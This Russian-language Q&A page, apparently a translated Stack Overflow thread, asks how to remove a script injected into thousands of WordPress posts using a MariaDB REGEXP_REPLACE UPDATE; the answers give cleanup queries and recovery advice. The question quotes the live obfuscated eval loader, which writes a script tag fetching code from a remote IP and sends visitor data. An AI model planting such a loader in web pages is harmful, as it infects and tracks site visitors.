Maria DB запрос, чтобы выбрать, а затем обновить таблицу, чтобы удалить ненужные HTML и теги сценария - PullRequest
1 голос
/ 12 июня 2019

Следующий код был введен в несколько строк в базе данных моего клиента WordPress:

<noindex>
    <script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
        eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
    </script>
</noindex>

Мне нужно успешно удалить теги <noindex></noindex> и все внутри них из каждой строки таблицы.

Этот запрос успешно выбирает все затронутые строки (всего 15066):

SELECT * 
FROM 'wp_posts' 
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'

Когда я пытаюсь использовать аналогичный запрос UPDATE, возвращается нулевой результат. Мой текущий запрос ниже:

UPDATE 'wp_posts' 
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') 
WHERE 'ID' = 1933;

Заданный идентификатор предназначен только для тестирования. Сервер работает MariaDB 10.2 . Любые предложения или советы приветствуются.

Успешный запрос ОБНОВЛЕНИЯ с REGEXP_REPLACE

UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');

Ответы [ 2 ]

2 голосов
/ 12 июня 2019

Предупреждение: всегда делайте резервную копию базы данных перед применением UPDATE.

В соответствии с документацией :

REGEXP_REPLACE возвращает строковый субъект со всеми вхождениями шаблона регулярного выражения, замененными строкой replace.Если вхождений не найдено, тема возвращается как есть.

Вы можете попробовать:

UPDATE wp_posts
SET post_content = REGEXP_REPLACE (post_content, '<noindex>(.*)</noindex>', '');

Если между тегом <noindex> есть новые строки, вам необходимоадаптировать регулярное выражение.Например '<noindex>[[:ascii:]]*</noindex>'.См. Обзор регулярных выражений для подробностей.

Примечания:

1) Если ваш законный контент использует тег <noindex>, измените регулярное выражение, добавив подстроку содержимого, нарушающего работу..

2) После атаки рекомендуется удалить все, выполнить чистую установку и восстановить базу данных и файлы до версии, предшествующей атаке.

3) Убедитесь, чтоВерсия WordPress и все плагины обновлены.

0 голосов
/ 13 июня 2019

Если бы мне пришлось это сделать, я бы сбросил таблицу wp_posts в текстовый файл SQL, затем с помощью текстового редактора выделил / заменил текст, вызывающий оскорбления, а затем снова импортировал файл SQL.

Большинство текстовых редакторов имеют функцию выбора / замены с поддержкой регулярных выражений. И вы можете легко увидеть результаты.

Когда будете готовы импортировать таблицу, RENAME TABLE wp_posts TO wp_posts_old; затем импортируйте ее.

Если WordPress работает после этого, отлично. Если нет, то DROP TABLE wp_posts и RENAME TABLE wp_posts_old TO wp_posts восстанавливают вещи.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...